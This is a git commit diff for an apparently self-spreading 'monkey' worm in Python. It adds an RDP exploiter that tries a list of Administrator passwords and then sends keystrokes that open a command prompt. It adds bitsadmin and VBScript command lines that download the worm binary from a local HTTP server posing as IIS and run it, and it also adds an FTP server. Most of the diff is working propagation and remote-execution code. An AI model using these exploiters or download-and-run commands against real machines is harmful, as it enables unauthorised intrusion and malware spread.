- rdp exploitation

- http file transfer
- ftp server code for future support
This commit is contained in:
Barak Hoffer 2015-09-07 10:25:25 +03:00
parent 120d259b65
commit 01bc17f80c
10 changed files with 584 additions and 53 deletions

View File

@ -1,2 +1 @@
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"

View File

@ -3,7 +3,7 @@ import os
import sys import sys
import ntpath import ntpath
from network.range import ClassCRange, RelativeRange, FixedRange from network.range import ClassCRange, RelativeRange, FixedRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter
from network import TcpScanner, PingScanner from network import TcpScanner, PingScanner
__author__ = 'itamar' __author__ = 'itamar'
@ -39,7 +39,7 @@ class WormConfiguration(object):
max_iterations = 2 max_iterations = 2
scanner_class = TcpScanner scanner_class = TcpScanner
exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter exploiter_classes = (RdpExploiter, )
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
victims_max_find = 14 victims_max_find = 14
@ -57,9 +57,7 @@ class WormConfiguration(object):
#range_class = RelativeRange #range_class = RelativeRange
#range_size = 8 #range_size = 8
range_class = FixedRange range_class = FixedRange
range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9", range_fixed = ("10.15.1.94", )
"192.168.144.8", "192.168.144.11", "192.168.144.12",
"192.168.166.10", "192.168.166.12", "192.168.166.11")
# TCP Scanner # TCP Scanner
tcp_target_ports = [445, 135] tcp_target_ports = [445, 135]
@ -81,4 +79,4 @@ class WormConfiguration(object):
# psexec exploiter # psexec exploiter
psexec_user = "Administrator" psexec_user = "Administrator"
psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"] psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"]

View File

@ -12,4 +12,5 @@ class HostExploiter(object):
from win_ms08_067 import Ms08_067_Exploiter from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter from wmiexec import WmiExploiter
from smbexec import SmbExploiter from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter

View File

@ -1,53 +1,166 @@
import time
import socket import socket
import threading
import cffi
import os.path
import twisted.python.log
import rdpy.core.log as rdpy_log
from rdpy.protocol.rdp import rdp from rdpy.protocol.rdp import rdp
from twisted.internet import reactor from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS
from model.host import VictimHost
__author__ = 'hoffer'
__author__ = 'itamar' KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
LOG = getLogger(__name__)
class RDPClient(rdp.RDPClientObserver): def twisted_log_func(*message, **kw):
def __init__(self, controller, width, height): if kw.has_key('isError') and kw['isError']:
super(RDPClient, self).__init__(controller) error_msg = 'Unknown'
if kw.has_key('failure'):
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval= interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c,True))
result.append(CharEvent(c,False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width self._width = width
self._height = height self._height = height
self._last_update = 0
self.closed = False
self.success = False
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data) update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if type(key) is WaitUpdateEvent:
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self): def onReady(self):
""" pass
@summary: Call when stack is ready
"""
print "onReady"
def onClose(self): def onClose(self):
""" self.success = len(self._keys) == 0
@summary: Call when stack is close self.closed = True
"""
print "onClose"
def closeEvent(self, e): def onSessionReady(self):
print "closeEvent", e self._last_update = time.time()
self._keys_thread.start()
class RDPClientFactory(rdp.ClientFactory): class CMDClientFactory(rdp.ClientFactory):
def __init__(self): def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = "Administrator" self._username = username
self._password = "Password1!" self._password = password
self._domain = "" self._domain = domain
self._keyboard_layout = "en" self._keyboard_layout = "en"
self._optimized = False # key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._security = "rdp" # "ssl" self._keys = [ScanCodeEvent(91,True,True),
ScanCodeEvent(19,True),
self._width = 200 ScanCodeEvent(19,False),
self._height = 200 ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
def __repr__(self): ScanCodeEvent(28,False), WaitUpdateEvent()]
return "<RDPClientFactory %dx%d>" % (self._width, self._height) self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr): def buildObserver(self, controller, addr):
""" """
@ -59,19 +172,101 @@ class RDPClientFactory(rdp.ClientFactory):
""" """
#create client observer #create client observer
self._client = RDPClient(controller, self._width, self._height) self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username) controller.setUsername(self._username)
controller.setPassword(self._password) controller.setPassword(self._password)
controller.setDomain(self._domain) controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout) controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(socket.gethostname()) controller.setHostname(addr.host)
if self._optimized: if self._optimized:
controller.setPerformanceSession() controller.setPerformanceSession()
controller.setSecurityLevel(self._security) controller.setSecurityLevel(self._security)
return self._client return self._client
def clientConnectionLost(self, connector, reason):
#try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
#stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory()) LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
reactor.run() self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path, port=3389):
global g_reactor
assert isinstance(host, VictimHost)
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(src_path), 'http_path' : http_path}
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False
for password in passwords:
try:
# run command using rdp.
LOG.info("Trying rdp logging into victim %r with user"
" %s and password '%s'", host,
self._config.psexec_user, password)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
reactor.connectTCP(host.ip_addr, port, client_factory)
client_factory.done_event.wait()
if client_factory.success:
exploited = True
break
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.info("Trying rdp logging into victim %r with user"
" %s and password '%s'", host,
self._config.psexec_user, password)
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host)
return True

View File

@ -3,6 +3,11 @@ import os
import ntpath import ntpath
import pprint import pprint
import logging import logging
import os.path
import socket
import urllib
from difflib import get_close_matches
from transport import HTTPServer
from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT from impacket.smbconnection import SMBConnection, SMB_DIALECT
@ -16,7 +21,6 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception): class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain): def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
@ -342,3 +346,17 @@ class SmbTools(object):
dce.bind(srvs.MSRPC_UUID_SRVS) dce.bind(srvs.MSRPC_UUID_SRVS)
return dce return dce
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=4444):
if None == local_ip:
local_hostname = socket.gethostname()
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd

View File

@ -3,10 +3,10 @@ import socket
import ntpath import ntpath
import logging import logging
import traceback import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
from model.host import VictimHost from model.host import VictimHost
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -60,19 +60,22 @@ class WmiExploiter(HostExploiter):
LOG.debug("Skipping %r - already infected", host) LOG.debug("Skipping %r - already infected", host)
return False return False
# copy the file remotely using SMB #copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user, self._config.psexec_user,
password, password,
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path)
remote_full_path = False
if not remote_full_path: if not remote_full_path:
wmi_connection.close() remote_full_path = self._config.dropper_target_path
http_path = HTTPTools.create_transfer(host,
return False src_path,
remote_full_path)
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
@ -86,6 +89,7 @@ class WmiExploiter(HostExploiter):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = True success = True
raw_input()
else: else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)

View File

@ -6,5 +6,8 @@ DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s !SystemRoot!\\%%(monkey_name)s&&start /b !SystemRoot!\\%%(monkey_name)s %s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "!SystemRoot!\\%%(monkey_name)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c !SystemRoot!\\%%(monkey_name)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
from host import VictimHost from host import VictimHost

View File

@ -0,0 +1,5 @@
__author__ = 'hoffer'
from ftp import FTPServer
from http import HTTPServer

View File

@ -0,0 +1,171 @@
import os,socket,threading,time
import StringIO
__author__ = 'hoffer'
class FTPServer(threading.Thread):
def __init__(self, local_ip, local_port, files):
self.files=files
self.cwd='/'
self.mode='I'
self.rest=False
self.pasv_mode=False
self.local_ip = local_ip
self.local_port = local_port
threading.Thread.__init__(self)
def run(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((self.local_ip,self.local_port))
self.sock.listen(1)
self.conn, self.addr = self.sock.accept()
self.conn.send('220 Welcome!\r\n')
while True:
if 0 == len(self.files):
break
cmd=self.conn.recv(256)
if not cmd: break
else:
try:
func=getattr(self,cmd[:4].strip().upper())
func(cmd)
except Exception,e:
self.conn.send('500 Sorry.\r\n')
break
self.conn.close()
self.sock.close()
def SYST(self,cmd):
self.conn.send('215 UNIX Type: L8\r\n')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send('200 OK.\r\n')
else:
self.conn.send('451 Sorry.\r\n')
def USER(self,cmd):
self.conn.send('331 OK.\r\n')
def PASS(self,cmd):
self.conn.send('230 OK.\r\n')
#self.conn.send('530 Incorrect.\r\n')
def QUIT(self,cmd):
self.conn.send('221 Goodbye.\r\n')
def NOOP(self,cmd):
self.conn.send('200 OK.\r\n')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
def CDUP(self,cmd):
self.conn.send('200 OK.\r\n')
def PWD(self,cmd):
self.conn.send('257 \"%s\"\r\n' % self.cwd)
def CWD(self,cmd):
self.conn.send('250 OK.\r\n')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l=cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8)+int(l[5])
self.conn.send('200 Get port.\r\n')
def PASV(self,cmd):
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((local_ip,0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
self.start_datasock()
for fn in self.files.keys():
k=self.toListItem(fn)
self.datasock.send(k+'\r\n')
self.stop_datasock()
self.conn.send('226 Directory send OK.\r\n')
def toListItem(self,fn):
fullmode='rwxrwxrwx'
mode=''
d='-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
def MKD(self,cmd):
self.conn.send('257 Directory created.\r\n')
def RMD(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def DELE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def SIZE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def RNFR(self,cmd):
self.conn.send('350 Ready.\r\n')
def RNTO(self,cmd):
self.conn.send('250 File renamed.\r\n')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send('250 File position reseted.\r\n')
def RETR(self,cmd):
fn = cmd[5:-2]
if self.mode=='I':
fi=self.files[fn]
else:
fi=self.files[fn]
self.conn.send('150 Opening data connection.\r\n')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
del self.files[fn]
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')
def STOR(self,cmd):
fn = cmd[5:-2]
fo = StringIO.StringIO()
self.conn.send('150 Opening data connection.\r\n')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.seek(0)
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')

View File

@ -0,0 +1,137 @@
import urllib, BaseHTTPServer, threading, os.path
import shutil
import struct
from logging import getLogger
__author__ = 'hoffer'
LOG = getLogger(__name__)
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
def version_string(self):
return "Microsoft-IIS/7.5."
@staticmethod
def report_download():
pass
def do_POST (self):
self.send_error (501, "Unsupported method (POST)")
return
def do_GET(self):
"""Serve a GET request."""
f, start_range, end_range = self.send_head()
if f:
f.seek(start_range, 0)
chunk = 0x1000
total = 0
while chunk > 0:
if start_range + chunk > end_range:
chunk = end_range - start_range
try:
self.wfile.write(f.read(chunk))
except:
break
total += chunk
start_range += chunk
if f.tell() == os.fstat(f.fileno()).st_size:
self.report_download()
f.close()
def do_HEAD(self):
"""Serve a HEAD request."""
f, start_range, end_range = self.send_head()
if f:
f.close()
def send_head(self):
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
self.send_error (500, "")
return
f = None
try:
# Always read in binary mode. Opening files in text mode may cause
# newline translations, making the actual size of the content
# transmitted *less* than the content-length!
f = open(self.filename, 'rb')
except IOError:
self.send_error(404, "File not found")
return (None, 0, 0)
fs = os.fstat(f.fileno())
size = int(fs[6])
start_range = 0
end_range = size
if "Range" in self.headers:
s, e = self.headers['range'][6:].split('-', 1)
sl = len(s)
el = len(e)
if sl > 0:
start_range = int(s)
if el > 0:
end_range = int(e) + 1
elif el > 0:
ei = int(e)
if ei < size:
start_range = size - ei
if start_range == 0 and end_range - start_range >= size:
self.send_response(200)
else:
self.send_response(206)
else:
self.send_response(200)
self.send_header("Content-type", "application/octet-stream")
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
self.send_header("Content-Length", min(end_range - start_range, size))
self.end_headers()
return (f, start_range, end_range)
def log_message(self, format, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
format % args))
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
def handle_error(self, request, client_address):
#ToDo: find a better error message.
#LOG.debug("HTTPServer error from %s:%s" % client_address)
pass
class HTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
threading.Thread.__init__(self)
def run(self):
class TempHandler(FileServHTTPRequestHandler):
filename = self._filename
@staticmethod
def report_download():
self.downloads+=1
httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)